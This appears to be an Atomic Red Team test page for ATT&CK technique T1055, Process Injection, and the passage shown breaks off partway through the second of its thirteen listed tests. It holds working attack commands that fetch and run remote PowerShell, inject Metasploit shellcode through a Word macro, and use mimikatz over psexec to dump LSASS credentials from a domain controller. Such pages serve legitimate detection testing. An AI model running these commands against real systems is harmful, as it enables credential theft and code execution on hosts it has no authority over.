# T1055 - Process Injection

## Description from ATT&CK

> Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
> 
> There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.
> 
> More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

[Source](https://attack.mitre.org/techniques/T1055)

## Atomic Tests

- [Atomic Test #1: Shellcode execution via VBA](#atomic-test-1-shellcode-execution-via-vba)
- [Atomic Test #2: Remote Process Injection in LSASS via mimikatz](#atomic-test-2-remote-process-injection-in-lsass-via-mimikatz)
- [Atomic Test #3: Section View Injection](#atomic-test-3-section-view-injection)
- [Atomic Test #4: Dirty Vanity process Injection](#atomic-test-4-dirty-vanity-process-injection)
- [Atomic Test #5: Read-Write-Execute process Injection](#atomic-test-5-read-write-execute-process-injection)
- [Atomic Test #6: Process Injection with Go using UuidFromStringA WinAPI](#atomic-test-6-process-injection-with-go-using-uuidfromstringa-winapi)
- [Atomic Test #7: Process Injection with Go using EtwpCreateEtwThread WinAPI](#atomic-test-7-process-injection-with-go-using-etwpcreateetwthread-winapi)
- [Atomic Test #8: Remote Process Injection with Go using RtlCreateUserThread WinAPI](#atomic-test-8-remote-process-injection-with-go-using-rtlcreateuserthread-winapi)
- [Atomic Test #9: Remote Process Injection with Go using CreateRemoteThread WinAPI](#atomic-test-9-remote-process-injection-with-go-using-createremotethread-winapi)
- [Atomic Test #10: Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively)](#atomic-test-10-remote-process-injection-with-go-using-createremotethread-winapi-natively)
- [Atomic Test #11: Process Injection with Go using CreateThread WinAPI](#atomic-test-11-process-injection-with-go-using-createthread-winapi)
- [Atomic Test #12: Process Injection with Go using CreateThread WinAPI (Natively)](#atomic-test-12-process-injection-with-go-using-createthread-winapi-natively)
- [Atomic Test #13: UUID custom process Injection](#atomic-test-13-uuid-custom-process-injection)

### Atomic Test #1: Shellcode execution via VBA

This module injects shellcode into a newly created process and executes. By default the shellcode is created,
with Metasploit, for use on x86-64 Windows 10 machines.

Note: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office
is required.

**Supported Platforms:** Windows

**auto_generated_guid:** `1c91e740-1729-4329-b779-feba6e71d048`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| txt_path | Path to file containing VBA macro to run | path | PathToAtomicsFolder&#92;T1055&#92;src&#92;x64&#92;T1055-macrocode.txt|

#### Attack Commands: Run with `powershell`!

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute"
```


#### Dependencies: Run with `powershell`!

##### Description: The 64-bit version of Microsoft Office must be installed

###### Check Prereq Commands

```powershell
try {
  $wdApp = New-Object -COMObject "Word.Application"
  $path = $wdApp.Path
  Stop-Process -Name "winword"
  if ($path.contains("(x86)")) { exit 1 } else { exit 0 }
} catch { exit 1 }
```

###### Get Prereq Commands

```powershell
Write-Host "You will need to install Microsoft Word (64-bit) manually to meet this requirement"
```

##### Description: "#{txt_path}" must exist on disk at specified location

###### Check Prereq Commands

```powershell
if (Test-Path "#{txt_path}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory (split-path "#{txt_path}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/src/x64/T1055-macrocode.txt" -OutFile "#{txt_path}" -UseBasicParsing
```

### Atomic Test #2: Remote Process Injection in LSASS via mimikatz

Use mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).
Especially useful against domain controllers in Active Directory environments.
It must be executed in the context of a user who is privileged on remote `machine`.

The effect of `/inject` is explained in <https://blog.3or.de/mimikatz-deep-dive-on-lsadumplsa-patch-and-inject.html>

**Supported Platforms:** Windows

**auto_generated_guid:** `3203ad24-168e-4bec-be36-f79b13ef8a83`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| machine | machine to target (via psexec) | string | DC1|
| mimikatz_path | Mimikatz windows executable | path | %tmp%&#92;mimikatz&#92;x64&#92;mimikatz.exe|
| psexec_path | Path to PsExec | string | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;PsExec.exe|

#### Attack Commands: Run with `command_prompt`!

```cmd
"#{psexec_path}" /accepteula \\#{machine} -c #{mimikatz_path} "lsadump::lsa /inject /id:500" "exit"
```


#### Dependencies: Run with `powershell`!

##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})

###### Check Prereq Commands

```powershell
$mimikatz_path = cmd /c echo #{mimikatz_path}
if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) 
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases -UseBasicParsing | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$mimikatz_exe = cmd /c echo #{mimikatz_path}
$basePath = Split-Path $mimikatz_exe | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath
```

##### Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})

###### Check Prereq Commands

```powershell
if (Test-Path "#{p